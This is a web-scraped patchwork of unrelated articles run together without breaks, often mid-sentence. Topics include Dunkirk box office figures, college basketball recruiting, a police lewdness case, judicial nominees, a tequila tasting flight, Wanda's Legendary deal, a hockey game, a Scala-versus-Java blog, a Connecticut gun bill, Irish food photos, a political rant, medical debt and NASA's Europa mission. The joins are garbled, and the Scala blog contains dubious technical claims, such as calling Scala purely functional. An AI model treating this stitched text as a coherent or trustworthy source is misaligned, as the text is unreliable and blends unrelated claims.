In November official figures suggested that the gender pay gap had shrunk to a record low.Dunkirk, which is opening this weekend in another handful of larger territories such as Germany, Mexico and Brazil, ended up grossing $10.8M last night from 63 markets to bring its international cume up to $102.5M. Christopher Nolan’s sweeping WWII film is playing now on 12,439 screens overseas and its holdover drop in most key markets was only 35% last night so this picture is playing full steam ahead for Warner Bros. Domestically, estimates are that the cume after this weekend should play around the $101M mark so worldwide, the studio is looking at a global take easily over $200M.
First the new openers: In its second day of play, Germany took in an estimated $527K on 623 screens for a 2-day cume of $1.1M, racking up the best per screen average in the market. The top grossing location was Sony Center Berlin in IMAX, followed by Zoo Palast Berlin in 70mm.
Mexico grossed an estimated $444K on 1,146 screens, ranking second only behind Fox’s debut title War for the Planet of the Apes. The Imax results have tripled the market average. The total gross so far is $754K. Brazil grossed an estimated $353K from485 screens, generating the best per screen average of any film in the market. The cume now stands at $644K.
Lastly, the UAE grossed an estimated $439K from its 70 screens on Friday to take the No. 1 spot and a two-day cume of $840K.
But it’s the holdover markets that are showing the success of this film. Just based on Friday numbers so far, the studio can see it will be enjoying another strong weekend from the UK as the picture only dropped 19% on its Friday night (taking in $3M). And word of mouth is proving strong as 16% of the sites increased their take over opening Friday, which is no small feat. The cume now stands at $27.5M.
One of those markets showing an increase over its debut Friday last weekend is Holland where the film performed 7%, and it’s still No. 1 with a cume of $2.7M.
Against the opening of War for the Planet of the Apes in Australia, Dunkirk dropped only 31% Friday. It’s No. 2 there with a cume so far of $7.7M and climbing.
And in France where it first opened, the film dropped just 41%. It’s No. 2 with a cume to date of $8.4M. Warner Bros. has not reported admissions.
Nolan shot the film in the country, but not all in France are happy with the outcome. In fact, a review in the “hometown” paper of Le Monde pointed out that the film diminished the role France played in the evacuation, and asked why its 120,000 French soldiers were missing from the shores and why 40,000 heroes who died were ignored in the telling of this film.Illinois basketball’s recruitment of Jeremiah Tilmon has been a roller coaster for the past year, however it finally appears as if the program has reached the end of the ride.
On Monday, the East St. Louis star retweeted his original commitment message on Twitter, indicating that he still plans to arrive in Champaign later this Summer. This was the first semblance of a public backing since the Fighting Illini hired Brad Underwood.
After a long recruiting process and much thought and I'm blessed to announce that I am staying home #illini pic.twitter.com/z8QhSNWEZ7 — Jeremiah Tilmon (@jeremiahtilmon_) July 11, 2016
Rumors regarding Tilmon’s interest in Missouri began surfacing after their acquisition of Cuonzo Martin, and the news of Michael Porter Jr.’s commitment only added more fuel for speculation.
However, this latest ‘announcement’ became somewhat of an inevitability once Illinois decided to retain assistant coach Jamall Walker. He developed a great relationship with Tilmon and his family while leading the recruitment under John Groce.
Tilmon recently finished in fourth place in the 2017 Illinois ‘Mr. Basketball’ voting after averaging about 15.5 points and 10.5 rebounds, and 3.8 blocks per game.
Tilmon committed to the Fighting Illini as a five-star prospect on July 11; he had other scholarship offers from North Carolina, Kansas, Michigan State, Indiana, Texas, and UCLA. The 6-foot-11 big man has actually been downgraded to a four-star prospect (No. 29 overall) by 247Sports, but he remains the top player from the state of Illinois.
Underwood faced immediate pressure to retain Illinois’ impressive recruiting class, and he delivered in a huge way by holding on to all four of the program’s signees. That’s pretty incredible in an age where decommitments are commonplace following coaching changes.
Illinois’ incoming class ranks No. 11 nationally and No. 1 in the Big Ten, with the nearest conference foe being Wisconsin (No. 18). Pending unannounced transfers, the program still has two available scholarships to fill.
Jeremiah Tilmon HighlightsA Camden Metro Police officer accused of masturbating inside a Camden County Starbucks last year pleaded guilty to lewdness charges Monday.
Lt. Benito Gonzalez was arrested in May following the incident at the coffee chain's shop along Route 70 in Cherry Hill, N.J.
Prosecutors say Gonzalez pulled down his shorts and began to masturbate while seated at a table inside the store. He was off-duty at the time.
Camden Metro Police Chief Scott Thompson suspended the decorated lieutenant without pay and called the allegations "deeply troubling."
On Monday, Gonzalez pleaded guilty to misdemeanor lewdness charges in connection to the incident. He is now set to appear at an administrative hearing in which police officials will decide whether or not he will be fired.
Gonzalez remains suspended without pay.WASHINGTON -- The White House regularly boasts about the diversity of President Barack Obama's judicial nominees. Just this week, it launched a new web page breaking down all the female, black, Hispanic and gay nominees he's put forward.
But when it comes to the professional diversity of his judicial picks, Obama doesn't have much to brag about, Sen. Elizabeth Warren (D-Mass.) said Thursday.
Speaking at an event hosted by Alliance for Justice, a left-leaning association of more than 100 groups focused on the judicial system, Warren said the federal bench is currently dominated by judges who previously worked for large firms representing corporate interests. She lamented that little has changed under Obama.
"We face a federal bench that has a striking lack of diversity," Warren said. "President Obama has supported some notable exceptions but... the president's nominees have thus far been largely in line with the prior statistics."
The Massachusetts Democrat ran through several stats on Obama's judicial nominees, as outlined in a new AFJ report, "Broadening the Bench." Seventy-one percent of his nominees have practiced primarily for corporate or business clients, which means that among Obama's judicial picks over the last five years, corporate attorneys outnumber all other kinds of attorneys by three to one. The report also found that just 3.6 percent of the president's nominees have a background in public interest organizations.
"Power is becoming more and more concentrated on one side," she said. "Professional diversity is one way to insulate the courts from corporate capture."
Warren emphasized that there are some "really talented judges" who have come from the private sector, but said diversity of experience matters. And since the Senate did away with the filibuster rule for a president's nominees, it's become a lot easier for Obama to move his picks through the chamber.
"It matters that someone has represented people other than corporate clients," she said. "That they've had real experience with people who can't afford lawyers. That they've had real experience trying to fight for the public interest."
AFJ president Nan Aron, who also spoke at the event, gave the White House credit for recently stepping up its efforts to increase the professional diversity of its nominees. In mid-January, the president announced four district court nominees that Aron said all had backgrounds that are under-represented in the judiciary.
"With now more than 50 vacancies without a nominee, and with more vacancies surely to emerge, there will be ample opportunity to turn these promising nominations into the norm rather than the exception," Aron said.
A White House aide said the president has always been committed to a diverse federal bench.
Obama evaluates candidates "based on their entire legal careers and professional backgrounds -- which can include time spent in private practice just like it can include time spent in various other forms of legal work," said the aide, who commented on condition of anonymity. "A candidate's current day job is not the only consideration of 'professional diversity,' and labeling someone 'corporate' cheapens the broad work of one’s legal career."Wealthy tequila aficionados who have grown tired of knocking back shots in a messy bar or sipping premium blends in the same old surroundings can take their love of the spirit to luxurious new heights.
For the eye-watering sum of $500,000 (£325,000) a group of up to 10 people can board what is being touted as the world’s most expensive tasting flight.
Offered by Tequila Avion, the half-a-million dollar travel experience allows guests to sample the company’s products on a Gulfstream private jet in the skies over Mexico.
For $500,000 up to 10 people are given a seat on a Gulfstream private jet for the exclusive tasting
A professional photographer will be on board to capture every moment as passengers sip tequila at 30,000ft during the one-of-a-kind experience.
In addition to the flight, guests are taken on a private tour of Tequila Avion’s distillery in the south-western state of Jalisco with company founder Ken Austin.
Before the trip ends the group is treated to dinner at the home of master distiller Alejandro Lopez with chef Josh Capon from the New York City restaurant El Toro Blanco.
The experience also includes some tequila for the road, as guests will leave Mexico with bottles of never-released tequila from Mr Austin’s personal collection.
They are also given the opportunity to age their own private small batch of anejo tequila for at least two years.
In addition to the flight guests are given a distillery tour and treated to a meal at the master distiller's home
The bespoke trip includes a private butler, security detail and rooms at the five-star Las Alamandas resort on the Pacific coast for three days and two nights.
Tequila Avion – whose brand was once featured in the HBO series Entourage – launched the offer on May 5 (Cinco de Mayo). Avion is the Spanish word for 'plane'.
Mr Austin said in a statement: ‘As an ultra-premium tequila brand, Avion aims to constantly challenge standards of quality and luxury.In the wake of Dalian Wanda Group's $3.5 billion acquisition of Thomas Tull's studio, the high-stakes political maneuvering in Bejing is gathering steam.
When Chinese real estate and investment conglomerate Dalian Wanda Group acquired Thomas Tull's Legendary Entertainment for $3.5 billion in January, many thorny questions came to the fore.
For the first time ever, a Chinese company — one headed by China's richest man, Wang Jianlin, no less — had come to own a U.S. film company that has backed several international blockbusters, with a track record that included such hits as Godzilla, Pacific Rim and Jurassic World.
Sizing up ensued: Was Wanda the latest dumb money to airdrop cash into Tinseltown, or was it up to something far more sophisticated? (The latter, it turns out: Wanda managed to offset most of the cost of Legendary in a matter of weeks, flipping the studio to Chinese investors in a share offering that raised $2.4 billion).
Meanwhile, Wanda continued expanding its already sprawling global movie theater network, merging U.S.-based Carmike Cinemas with AMC Entertainment in a $1.1 billion all-cash deal (which still needs FTC approval) that will create the largest cinema chain on the planet, spanning North America, China and Oceania. No company has ever held so many screens in so many places. Again, what was Wanda's strategy? (Some theories here.)
Above all, many wondered whether these watershed moments signaled that 2016 would finally be the year when the deals between Hollywood and China begin to flow in earnest, after so many false starts in the past. (Thus far, that has indeed been the case: Weeks later, China's Perfect World Pictures invested $250 million into Universal's film slate, Hangzhou-based Film Carnival poured $500 million into former Disney chairman Dick Cook's startup studio; and Joe and Anthony Russo, the directing duo behind Marvel's Captain America franchise, launched boutique studio Anthem & Song with an estimated $200 million to $300 million in Chinese financing.)
Still, despite all of the speculation and cross-border hubbub, sources in Beijing tell The Hollywood Reporter that one crucial question has yet to be addressed: Now that Legendary is nominally a Chinese company, how will the Chinese government treat the studio's movies? Is Legendary now American or Chinese?
"Wanda is going to try to make a strong case that Legendary's movies should be classified as Chinese from now on," one senior Chinese film executive told THR in Beijing, asking not to be named due to the sensitivity of discussing policy matters.
If China's film regulators are unwilling to go so far, Wanda probably will try to negotiate other concessions on behalf of Legendary, the exec suggested.
"That's how I would play it — open strong, then work towards the middle, maybe better treatment for some movies but not all," he added.
Both Wanda and Legendary declined to comment.
While wonky on the surface, the question of classification could have game-changing implications for both Hollywood and the Chinese industry, insiders say.
The Chinese box office grew 50 percent in the first quarter of 2016, and it is expected to surpass North America as the world's largest film market sometime next year.
In an effort to nurture its domestic industry while dampening Western cultural influence, China limits Hollywood's market access with a notoriously strict quota system, which allows just 34 foreign films into Chinese theaters on revenue-sharing terms each year. The authorities also institute blackouts on foreign imports during the most lucrative moviegoing weeks of the year, over the summer, fall and winter holidays, giving local pictures an uncontested run at cinemas. Local movies also take close to 50 percent of box office, whereas Hollywood's share is limited to 25 percent under the quota system.
"Wanda, like any studio in a similar position would, will of course attempt to get this better treatment [for Legendary]," said Peter Schloss, CEO of CastleHill Partners, a Beijing-based specialist merchant bank focusing on media, sports and entertainment.
"It will be especially fascinating to see what the Chinese government response would be," added Lindsay Conner, a partner at Manatt, Phelps & Phillips, LLP Entertainment, who represented Beijing-based Perfect World Pictures in its $250 million slate deal with Universal. "This is the first time a significant Western film production company has had Chinese ownership and that has the potential to be a game changer," he said.
The situation presents China with an unprecedented dilemma, pitching two of its key policy goals in conflict.
On the one hand, granting Chinese status to Legendary's movies would provide a strong incentive within the local industry for the Chinese takeover of film companies abroad. But it would also create a de facto expansion of the quota on Western movies allowed into the country, given that most of the movies Legendary has in the pipeline — with one notable exception (more on this below) — are Hollywood through and through.
"How the government responds will provide some indication of what it regards as the greater priority," Conner explained. "Is it more important to build China as a force in the global film industry, or is it more important to limit and regulate the number of Western films that are allowed into the country each year?"
"It's the classic double-edged sword, but in this case it's wielded by a powerful Chinese media company," he added.
Increasing Chinese soft power abroad is one of Beijing's highest-level policy priorities, and the failure of Chinese films internationally has been a disappointment to both the leadership and the local industry. Since its release in February, Stephen Chow's fantasy blockbuster The Mermaid has grossed a record-smashing $525.8 million in China, while earning just $3.2 million in North America. Other Chinese hits have fared considerably worse overseas. Last month, Chinese officials announced a scheme to offer any local film that can make more than 1 million yuan ($150,000) abroad a cash rebate of 1 percent of total foreign box office.
Legendary's upcoming films, even if they flop spectacularly by Hollywood standards, are all but certain to make vastly more money in the international marketplace than Chinese films have in recent years. But classifying Legendary movies as Chinese only adds yet another layer of complication to the macro policy picture.
"On paper, this may allow them to say that 'Chinese' films are doing well overseas, but it's not clear how a movie like Jurassic World or Godzilla actually helps Chinese soft power," said Stanley Rosen, a professor of political science at the University of Southern California who studies China’s film industry. "It will seem like they are making a concession to Western culture, when their goals are to do just the opposite."
"The temptation would be to put more Chinese elements into the films, and get them approved as co-productions," Rosen explained. "The danger there," he added, "is whether they will still be successful globally — how much Chinese content can you put in there and still get the international market?"
Long before Wanda came calling, Legendary was already exploring the China co-production angles under its Asia-focused Legendary East shingle, set up in 2011 and headed by Peter Loehr, former managing director of CAA China.
The studio's long-gestating debut China co-prod, The Great Wall, is finally set for worldwide release on Feb. 17, 2017 (it was originally slated for release on Nov. 23). Financed and produced by Legendary, Beijing-based LeVision Pictures and the state-backed film colossus, China Film Group, the big-budget fantasy action feature is directed by Zhang Yimou and stars Matt Damon, Willem Dafoe, Hong Kong's Andy Lau, Jing Tian, Luhan, Pedro Pascal and others. Set in the Northern Song Dynasty, the story explores a set of mysteries surrounding the Great Wall of China.
"The Great Wall will be a very important test case," Rosen said, "because it does have a lot of Chinese content — it features the Great Wall, a cherished symbol of China around the world — and it also has Hollywood actors, English dialogue and the potential to be an international hit."
Come 2017, you can bet that both the international film community and the Chinese government will be carefully weighing the film's credibility and performance — albeit according to very different metrics.
In recent years, Chinese regulators have been strict about ensuring that co-productions meet the full criteria of the official classification, which requires substantial Chinese content and story elements, along with a cast and crew that is at least 30 percent Chinese — including in lead roles. With the official co-production stamp of approval come all of the benefits extended to local Chinese films, including a 43 percent share of Chinese box office instead of the usual 25 percent Hollywood takes.
Most of the industry sources THR consulted, both in China and Hollywood, said they think it is unlikely that Wanda will succeed in getting regulators to treat Legendary films as fully "Chinese" for import purposes.
With the opening gambit closed, Wanda is expected to pursue middle ground concessions, as the Beijing executive suggested.
"China may be willing to bend the rules on co-production status, if [Wanda and Legendary] move partway towards some of the guidelines," agreed Rosen.
And even if Legendary deems that adding too much China content to its tentpoles will hurt them globally — at least for now — there are plenty of additional ways in which Wanda will wield its heft and local savvy to the benefit of Legendary in the booming Chinese home market. For one, the conglomerate owns China's largest movie theater network, guaranteeing a big splash on a huge number of screens for any Legendary release. Wanda also owns one of China's largest distributors, Wuzhou Film Distribution, which will presumably work its relationships with China Film Group to secure desirable release dates and plenty of lead time for marketing Legendary's movies online and on the ground in China — something the Hollywood studios have long craved.
"There’s also the issue of the highly competitive and political process of securing one of only 34 revenue sharing slots for the calendar year," noted Rance Pow, president of the Shanghai-based cinema consulting firm Artisan Gateway.
Regardless of whether Legendary remains a Western company in the eyes of the authorities, with Wanda at the negotiating table, there's a good chance the studio will be able to snag an extra quota slot each year in China's bruising, zero-sum film import sweepstakes.
"That would certainly be a benefit that could not have been achieved otherwise," said Conner.They never learn.
Every time the Penguins start to feel good about themselves, it seems they want to feel better. Good isn’t good enough. They are hockey’s great narcissists — hopelessly addicted to their own wondrous skill.
Their 4-3 double-overtime loss to the Columbus Blue Jackets on Saturday provided yet another stirring example, in addition to costing the Penguins home-ice advantage in this first-round series.
The Penguins dominated the first period and led 3-1 going to the intermission. That kind of lead should be good enough this time of year, or as defenseman Matt Niskanen put it, “There’s no reason to give up scoring chances — unnecessary ones — when you have a two-goal lead in the playoffs.”
The idea has to be to nurture the lead. To make it last. Defense should be the overriding mindset.
Only it wasn’t.
That became clear when coach Dan Bylsma threw four forwards over the boards, including Evgeni Malkin at the point, for a power play six minutes into the period. The move shrieked offense. The situation called for a more conservative mindset — and it’s not like the Penguins lack power play-capable defensemen.
The Blue Jackets had no business getting back in this game. Bylsma left the screen door open. Columbus had been dangerous on the penalty kill all season and had scored a short-handed goal in Game 1. There was no reason to take a chance.
Sure enough, Malkin fumbled a puck at the right point. He escaped unscathed. He then was victimized at the left point, which led to a 2-on-1 and Matt Calvert’s short-handed goal.
This was sheer Penguins arrogance — and it changed the game for good. They never recaptured control. After outshooting the Blue Jackets, 15-4, in the first period, they were outshot 41-27 the rest of the way.
Afterward, Bylsma explained that he went with four forwards because it worked so well during the regular season. That is true. The Penguins had the league’s top-ranked power play. But the playoffs are a different animal. Coaching staffs have way more time to break down opponent’s special teams. They look for weaknesses.
Malkin on the point is a weakness.
I asked Calvert if Columbus went into the series looking to exploit the Penguins’ four-forward power play.
“I think so,” he said. “I think as a team we do get a ton of chances short-handed no matter who we play. It’s something we try to kill power plays with.”
Bylsma opined that defense on the power play hadn’t been issue “until these last two games,” but it sure looked like the Penguins had been living on the edge for weeks now. And he’d already gone to the two-defensemen look after the Columbus shortie in Game 1.
It wasn’t just the coach who fed the goal monster. The captain did, too. Sidney Crosby threw more interceptions than Neil O’Donnell in a Super Bowl. He was “credited” with a game-high four giveaways, more than the entire Columbus team, as he repeatedly attempted high-risk, cross-ice passes.
The disease spread. Malkin, on an early power play, tried a dangerous blind pass between his skates (it worked, which probably only fed the monster). Even goalie Marc-Andre Fleury — the only reason the Penguins had a chance — got caught up in the act when he head-faked a Columbus forechecker before making a pass.
After the power play gone wrong, the Penguins were so infected that the two-defensemen power play gave up a golden chance.
We haven’t even mentioned the offensive-zone penalties or the defensive breakdowns. Kris Letang again generated some beautiful Columbus scoring chances. He’s been the Blue Jackets’ MVP through two games.
The Penguins are actually lucky to be tied 1-1 in the series.
Will that be enough to humble them?
Joe Starkey co-hosts a show 2 to 6 p.m. weekdays on 93.7 FM. Reach him at [email protected] Source: pixabay.com
Welcome friends, to my next blog on programming language. This time we would be talking about the infamous Scala. First things first, what is scala? And why is it so famous with Java developers? Can it replace Java in full? So, if you are an experienced programmer, then you may be having a lot of questions like these in mind. Don’t worry. That’s why we are here for.
Scala is just a short form for Scalable Language. It means you can, not only use it for writing one-liner applications, but also for writing huge server related problems. Scala takes a lot of itself from Java. Thus, you may see a lot of code in scala is similar to Java. But, then again…why was scala actually built? Now, these are the things that we are gonna go in deep in this blog. So, lets take a look at these things one by one. Shall we?
Is scala a scripting language?
I have heard a lot of people saying that scala seems like a scripting language. But I would beg to differ. Scala has shorter syntaxes and eat up less memory. For quick responses, you can use REPL or IDE.
Scala is the language which is actually used for building many large servers since it can be very dependent at times. The syntax and codes are mostly similar to that of Java’s. And since Scala is mostly a typo-type language, most of its error are actually caught when compiling codes rather than when debugging it or when you actually try to run the software.
That means less hassle when debugging and if you are running a large company; it would probably be more profitable, since the manpower needed to debug the code would be less as most of the errors are taken care of when compiling small pieces of codes.
So, the question, which I asked previously that “Whether scala is a scripting language?” I would agree that this is 50% true, but at the sae time it is 50% false as well. Though scala may seem a lot similar like scripting languages; heck, it even feels like a scripting language when coding, but the thing is, it is not.
So, to be more precise, in deep, scala is a multi-compilation of, or to be more specific; it is a combination of carefully integrated object oriented programming and the fundamental concepts of functional programming.
How is Scala Object Oriented?
First things first, how do you actually define object orientation?
Object oriented programming or OOP means it’s a different type of coding language that combines together structures of data in the code with the functions inside it to build re-usable objects.
The synonym object orientation is preferably used to explain a system, which deals proprietarily with different modes of objects, where the actions you perform depend upon what type of object you used for the manipulation of data.
Let’s say, for example, an OOP drawing algorithm may enable you to draw innumerable types of data objects, such as circles, octagons, squares etc. Performing the same option to each of these objects would however change the results. Getting my point?
So, the answer to the question is, scala though walks and talks like an object oriented language. It is not fully. You may find a lot of people saying exactly the opposite. But let me tell you why. Scala is actually a purely functional language.
But still developers have given it a lot of feel of an object oriented language. Similarly when developing this particular language, developers had their proper way to integrate the feature of a object oriented language. So, even thought Scala may feel at home when being used as an object oriented language, theoretically it is not.
How is scala a functional language?
As I said previously, scala was made with a mindset of making this as close to functional language as possible. Though I wouldn’t say it is purely functional, but then again…who am I to comment?
Scala has a lot of inbuilt features, which prove it to us that it’s a functional language. You may however feel that its syntax is actually too conventional, but Scala is also a professionally built functional language.
It has all the things you need, whether you talk about including top class function or a library with extremely proficient made immutable data structures, everything is purely functional. It also has usual priority of immutability when compared to mutation.
Unlike many old functional languages, Scala shows an easy migration from object orientation to a more functional approach. Though you can start using it as a Java without semicolons, but as time passes, you will eventually progress to limit mutable state in your applications as much as possible, converting your code into a safe functional pattern.
Scala developers tend to believe that these types of progressions are always a good habit. But at the same time, Scala is methodological. You can use it in any style you want, ranging from scripting, to object oriented to functional.
Recommended courses
Will Scala replace Java?
Scala runs on Java Virtual Machine, which has an acronym as JVM. Classes of Java and scala can be thoroughly mixed, without the headache of whether they are located in different projects and folders or in the same.
Inspite of being located in different locations, they can still however find each other. Besides, the Compiler of scala includes a minor set from that of the compiler Java, which then matches such similar repetitive dependent codes.
Libraries and frameworks of Java and tools are freely available online. Building tools of Java, lets say for example, Maven or similar IDEs like Eclipse or Netbeans and frameworks with the likes of Hibernate or even spring, they all seem to work flawlessly with Scala.
If this is not enough, Scala run also on Android. The community of scala is very wide and it is an essential part of the Java. Even infamous Scala frameworks include dual APIs for Java as well.
Following is a basic example in both of the languages:
First, lets take a glimpse of Java:
public class Test{
private String name;
private List<test1> orders;
public Test() {
orders = new ArrayList< test1>();
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List< test1> gettest1() {
return orders;
}
public void settest1(List<test1> orders) {
this.orders = orders;
}
}
public class test1{
private int id;
private List<Product> products;
public test1() {
products = new ArrayList<Product>();
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public List<Contents> getContents() {
return products;
}
public void setContents(List<Contents> products) {
this.products = products;
}
}
public class Contents {
private int id;
private String category;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getCategory() {
return category;
}
public void setCategory(String category) {
this.category = category;
}
}
Now, lets take a look at the same example in Scala:
class Test {
var name: String = _
var orders: List[test1] = Nil
}
class test1 {
var id: Int = _
var products: List[Contents] = Nil
}
class Contents {
var id: Int = _
var category: String = _
}
What the h…? Exactly this is what I was talking about. But the thing is, though Scala has a lot of common with Java, and it is much easier than Java, it simply cannot replace Java. Java’s interoperability and scalability is far more superior than that of scalas.
It has a much more widespread community than that of Scala as well.. Even though, if I spend 15 more minutes with the above piece of code, I can still try to make this scala code above even more compact, it would still wouldn’t be much worth it, if I am about to use this in small scale.
The Conclusion
See, there is no such as conclusion at this point of time. Because Scala is, if you want me to say something, then it is a purely based functional language. No matter how much scala progresses, it will still be a full-fledged functional language with the aspects and near implications of an object oriented language.
Scala has a compact code, similar to that of scripting languages like Ruby or Python, objects similar to that of Javas and a functional approach similar to that of Haskells. So, in the end…Yes! Scala is a functional Language.
Recommended Articles:-
Here are some articles that will help you to get more detail about the scala so just go through the link.
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View MoreLawmakers in Connecticut – still stunned from the Sandy Hook Elementary School shooting – are moving forward with legislation that could make public the names and addresses of 170,000 handgun permit holders in the state.
The measure, introduced by state Rep. Stephen Dargan, is the latest effort to clamp down on guns in Connecticut. If passed, the bill would reverse a 20-year decision by state lawmakers to keep the personal information confidential. The legislation would make the information fair game under the state’s Freedom of Information Act.
Dargan told FoxNews.com on Friday the measure was not intended to pit gun control activists and pro-gun groups against each other. Instead, it’s “to get a broader discussion going on gun issues and mental health in the state.”
Critics say being able to obtain the names and addresses of gun permit holders is an invasion of privacy, but others argue that people in the community have the right to know who owns a gun and who does not.
In December, an upstate New York newspaper came under fire for publishing the names and addresses of gun owners in Westchester and Rockland counties. The story inspired heated reactions among readers and gun groups, who traded jabs by posting personal information about the newspaper’s employees online.
The actions highlight a growing backlash against gun owners after a string of shooting in the last five years, which includes the massacres at Virginia Tech and at a Colorado movie theatre.
Since the Newtown, Conn., shooting last month, gun owners across the country say they have been vilified and ostracized. Many argue lawmakers are using what happened in Newtown to advance their own political agenda, but Dargan says it’s not true.
“Obviously, something needs to be done,” he said. “I want to make sure we look at all the ways we can prevent another horrific shooting from happening.”
Dargan’s bill is one of many expected to be brought up and debated in statehouses across the country. He says while his proposals are “middle of the road,” he’s already gotten calls and emails from gun advocates telling him to back down.
“This is the least invasive bill that’s going to come up this year,” he said. “We need to open up dialogue in the state. Let’s take a peek at the issue, see what works and see what doesn’t.”
State Sen. Martin Looney introduced a measure that would make it illegal for anyone convicted of a felony, a misdemeanor or are under a court-ordered restraining or protective order from buying bullets. The idea is already being criticized by gun groups in the state.
“A gun without ammunition is only a club,” Looney has said. “We really need to restrict access to ammunition.” Calls to Looney’s office for additional comment were not returned.
Some gun owners say that the federal law that bans the sale of ammunition to felons is a strong enough filter.
Rich Burgess, president of Connecticut Carry, said Looney’s plan “has nothing to do with stopping these kinds of madmen from committing heinous acts” and has said he is “dumbfounded” by these bills.
Prior to the tragedy at Sandy Hook, which left 20 children and six school employees dead, gun control was not a particularly polarizing topic in the state. The firearms manufacturing business in Connecticut had thrived in a state that boasts some of the strongest gun control laws in the country.WE NEED TO talk about the Wikipedia page purporting to represent “Irish cuisine”.
The page’s text is an admirably detailed and accurate representation of nearly every kind of food Irish people eat or have eaten, but Twitter user Louise O’Connor noticed yesterday that the pictures leave a lot to be desired.
In fact, they’re tragic.
Like this plate of “bacon and cabbage”
Source: Miss Ayumi Wikipedia
Is that… paprika sprinkled on top? And is that… cabbage on the left side of the plate?
Pass the sick bag.
Look at this appetising pot of Colcannon
Source: Wikipedia
#nofilter
One of the first images you encounter on the page is of these boiled pigs’ feet
Source: milezero flickr
They obviously do exist but should they be given such high priority on a page mostly seen by visitors and those interested in reading up on Ireland? Hmm.
Here’s some “bog butter” to whet their appetite
Source: Wikipedia
The Dubliner |
listen.
[image via screengrab]
— —
Follow Josh Feldman on Twitter: @feldmaniac
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If you lose in November, this is why.
You’re just weeks away from a midterm election, and you’re talking about how Elizabeth Warren may be of slight, distant relation to Native American tribes.
Nobody cares.
I mean, shouldn’t you be focusing on, I don’t know, a unified message to Americans on why we should vote for you?
I’ve been saying for over a year that the table was set for you to massacre the GOP in November, but only if you put forth a message besides “We’re not Trump” or “Hey! Maybe we can try a little Socialism this time!”
In his book Everything Trump Touches Dies, Rick Wilson makes the claim that Democrats are bad at politics, and you know what? He was right.
If the Democrats came out and gave an actual message to America, then their prospects would look so much better. If they said “We’re gonna fix the middle class, our healthcare, and immigration and here’s how we’ll do it.” They would win not only in November, but maybe in 2020 as well.
But if you listen to the Michael Moore’s and Hillary Clinton’s and Maxine Waters’ of the world, what message are they sending?
“Vote us into office so we can impeach Trump and destroy the GOP!”
Yes, one or both of those things would probably happen, but to what end?
As much as the Dems and the #Resistance want to make this a battle of good vs. evil, we all know it’s not that simple.
Just because the GOP is full of incompetent, sinister pricks doesn’t mean the Democrats are better by default.
In a related story, just because the alt-right is a bunch of Nazi wannabees doesn’t make the cntrl-left the American GI’s on D-Day.
In fact, you know what? I’m giving an ultimatum here, and I’m being totally serious about this.
If the Democrats can’t get one majority in November, in either the House or Senate, they should shut down the party.
I’m not kidding. Just shut it all down and go sell ice cream, do something, anything, that’s not in politics.
Let a left-wing party that actually knows how to play the game take your place.
Because if you’re so bad at politics that you can’t beat Donald Trump and this GOP, then you shouldn’t be in politics at all.
Even if Comrade Pooty Poot is trying to tip the scales against you, that still doesn’t excuse you from sucking worse than Trump.Medical debt affects many people’s lives. And repaying what you owe can get more complex and stressful when that debt gets sent to collections. On Sunday’s Last Week Tonight, host John Oliver tackled the issue of medical debt in an unexpected way.
“Clearly, if you have debts, you should pay them if you can,” he starts off in the segment. “But many people can find themselves in debt through no direct fault of their own.”
From here, Oliver delves into the practice of debt selling, in which companies purchase billions of dollars of debt from creditors, often for pennies on the dollar. According to the segment (which you can see in full on Credit.com), consumers’ information tied to the debt — such as their name, address and Social Security number — often passes through several hands without being verified.
As a result, consumers can find themselves being sued for debt they don’t recognize, out-of-statute debt (“debt that’s so old you can no longer be sued for it,” Oliver notes), debt that they’d already paid off or debt they took care of in bankruptcy. This type of debt is often called “zombie debt”, or old debt thought to be settled and buried.
Once a company has purchased the debt, they’ll typically try to collect it themselves or hire a debt collector to help. Many collectors work in the bounds of the law, Oliver says, but sometimes, illegal tactics, such as leaving threatening voicemails, are utilized to get consumers to repay.
The debt-buyers’ trade group, DBA International, told Oliver the industry is working to regulate itself. (It did not respond immediately to Credit.com’s request for follow-up comment.)
The barrier to entry into the debt collection business is low, Oliver says. To illustrate this point, in April, Oliver’s team spent $50 to incorporate a debt acquisition company online in Mississippi. He named it Central Asset Recovery Professionals. Soon, the company was offered a portfolio of nearly $15 million of medical debt from Texas at a cost of less than $60,000. For that amount, CARP would receive the names, addresses and Social Security numbers of nearly 9,000 people.
Following the purchase, Oliver could have easily had employees start calling people, “turning their lives upside down over medical debt they did not have to pay,” he said. But instead, at the end of the segment, he decides to give it away.
Dealing with debt
Those whose debt was purchased by Oliver could be considered lucky, but many people aren’t when it comes to paying back certain bills. If you’re dealing with medical debt, it’s important to remember to review your credit reports annually and check your credit scores on a regular basis to see how it may be affecting your credit. (You can view two of your credit scores, updated each month, for free on Credit.com.)
And, if you are dealing with debt collectors, it can help to know your rights. You can find a crash course on debt collection here.
This article originally appeared on Credit.com.
Get a daily roundup of the top reads in personal finance delivered to your inbox. Subscribe to MarketWatch's free Personal Finance Daily newsletter. Sign up here.NEW YORK: NASA may have devoted many of its exploration resources to Mars recently, but the US space agency also has its eye on an icy moon of Jupiter that may be capable of supporting life.The agency is thinking about ways to investigate the possible habitability of Europa, Jupiter's fourth-largest moon. One concept that may be gaining traction is a so-called "clipper" probe that would make multiple flybys of the moon, studying its icy shell and suspected subsurface ocean as it zooms past."We briefed [NASA] headquarters on Monday, and they responded very positively," mission proponent David Senske, of NASA's Jet Propulsion Laboratory in Pasadena, said.The USD 2 billion unmanned Europa Clipper, which could be ready to launch by 2021 or so, would also do vital reconnaissance work for a potential lander mission in the future, 'SPACE.com' reported.Astrobiologists regard Europa, which is about 3,100 kilometres wide, as one of the best bets in our solar system to host life beyond Earth.The moon is believed to harbour a large ocean of liquid water beneath its icy shell. This ocean is likely in direct contact with Europa's rocky mantle, raising the possibility of all sorts of interesting chemical reactions, Senske said.The irradiation of Europa's surface and tidal heating of its interior also mean the moon likely has ample energy sources - another key requirement for life as we know it.NASA has long been interested in exploring the icy moon and its ocean. Several years back, the agency drew up an ambitious mission concept called the Jupiter Europa Orbiter (JEO), which would have made detailed studies of Europa and the incredibly volcanic Jupiter moon According to the 2011 Planetary Science Decadal Survey, the science returns from such a mission would have been impressive which outlined the scientific community's goals in the field over the coming decade.The decadal survey ranked JEO as the second-highest priority among large-scale missions, just behind Mars sample-return. But the report said its USD 4.7 billion price tag was just too high."The recommendation was, immediately go and do a de-scope. They loved the science, the science was great. But focus it," said Senske.Researchers got to work developing a leaner, cheaper Europa mission that would fit under a 